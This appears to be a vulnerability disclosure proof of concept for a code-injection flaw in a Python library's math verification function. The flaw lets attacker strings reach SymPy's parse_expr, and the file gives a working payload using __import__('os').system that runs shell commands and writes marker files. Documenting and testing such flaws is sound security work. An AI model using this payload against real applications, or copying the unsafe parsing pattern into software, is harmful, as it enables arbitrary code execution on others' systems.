# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

"""
VULN-001 Proof of Concept
=========================
Target  : QWED-AI/qwed-mcp v0.2.0
Module  : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)

Root cause
----------
verify_math_expression() passes attacker-controlled strings directly to
sympy.parsing.sympy_parser.parse_expr() without restricting global_dict.
parse_expr() ultimately calls eval() with SymPy's namespace as globals.
Because that namespace does not set __builtins__ to {}, Python injects the
current module's builtins automatically, making __import__ available.

Attack
------
Inject a Python expression as the 'expression' or 'claimed_result' argument:
    __import__('os').system('<shell command>')

The system() call executes before parse_expr() tries to interpret the return
value as a SymPy expression.

Expected evidence of exploitation
----------------------------------
1. /tmp/vuln001_rce_marker  is created inside the container.
2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.
3. The script exits 0; any other exit code means exploitation failed.
"""

import os
import sys


MARKER_FILE = "/tmp/vuln001_rce_marker"
OUTPUT_FILE = "/tmp/vuln001_rce_output.txt"


def run_poc() -> bool:
    """Run the PoC; return True on confirmed exploitation, False otherwise."""
    print("=" * 60)
    print("VULN-001 — Unsafe SymPy parse_expr() RCE — PoC")
    print("=" * 60)

    # --- Step 1: import the vulnerable function ---
    # qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).
    # We load math_engine.py directly via importlib to exercise the vulnerable
    # module in isolation, exactly as an attacker who calls the library API would.
    print("[*] Importing vulnerable function via importlib (direct module load) ...")
    import importlib.util
    import sys as _sys

    _module_path = "/app/src/qwed_mcp/engines/math_engine.py"
    try:
        _spec = importlib.util.spec_from_file_location(
            "qwed_mcp.engines.math_engine", _module_path
        )
        _mod = importlib.util.module_from_spec(_spec)
        _sys.modules["qwed_mcp.engines.math_engine"] = _mod
        _spec.loader.exec_module(_mod)
        verify_math_expression = _mod.verify_math_expression
    except Exception as exc:
        print(f"[-] Import failed: {exc}")
        return False
    print(f"[+] verify_math_expression loaded from {_module_path}")

    # --- Step 2: craft the RCE payload ---
    # The payload is injected as the `expression` argument.
    # Shell commands:
    #   id         — prints current user/uid/gid (confirms arbitrary execution)
    #   hostname   — prints container hostname (confirms in-container execution)
    #   touch      — creates a marker file (machine-checkable evidence)
    shell_cmd = (
        f"id > {OUTPUT_FILE} && "
        f"hostname >> {OUTPUT_FILE} && "
        f"touch {MARKER_FILE}"
    )
    payload = f"__import__('os').system('{shell_cmd}')"
    print(f"\n[*] Injection payload (expression argument):\n    {payload}\n")

    # --- Step 3: call the vulnerable function ---
    print("[*] Calling verify_math_expression(payload, '0') ...")
    result = verify_math_expression(payload, "0")
    print(f"[*] Return value: {result}\n")

    # --- Step 4: verify exploitation evidence ---
    marker_exists = os.path.exists(MARKER_FILE)
    output_exists = os.path.exists(OUTPUT_FILE)

    if marker_exists and output_exists:
        with open(OUTPUT_FILE) as fh:
            rce_output = fh.read().strip()
        print("[+] *** EXPLOIT SUCCESSFUL ***")
        print(f"[+] Marker file present : {MARKER_FILE}")
        print(f"[+] RCE command output  :\n--- BEGIN OUTPUT ---\n{rce_output}\n--- END OUTPUT ---")
        return True

    # Partial evidence (marker only, no output, or vice-versa) still counts.
    if marker_exists:
        print("[+] *** EXPLOIT SUCCESSFUL (marker only) ***")
        print(f"[+] Marker file present : {MARKER_FILE}")
        return True

    print("[-] EXPLOIT FAILED — marker file not found")
    print(f"[-] Expected: {MARKER_FILE}")
    return False


def main() -> None:
    success = run_poc()
    if success:
        print("\n[RESULT] PASS — deterministic RCE evidence observed inside container")
        sys.exit(0)
    else:
        print("\n[RESULT] FAIL — could not confirm arbitrary code execution")
        sys.exit(1)


if __name__ == "__main__":
    main()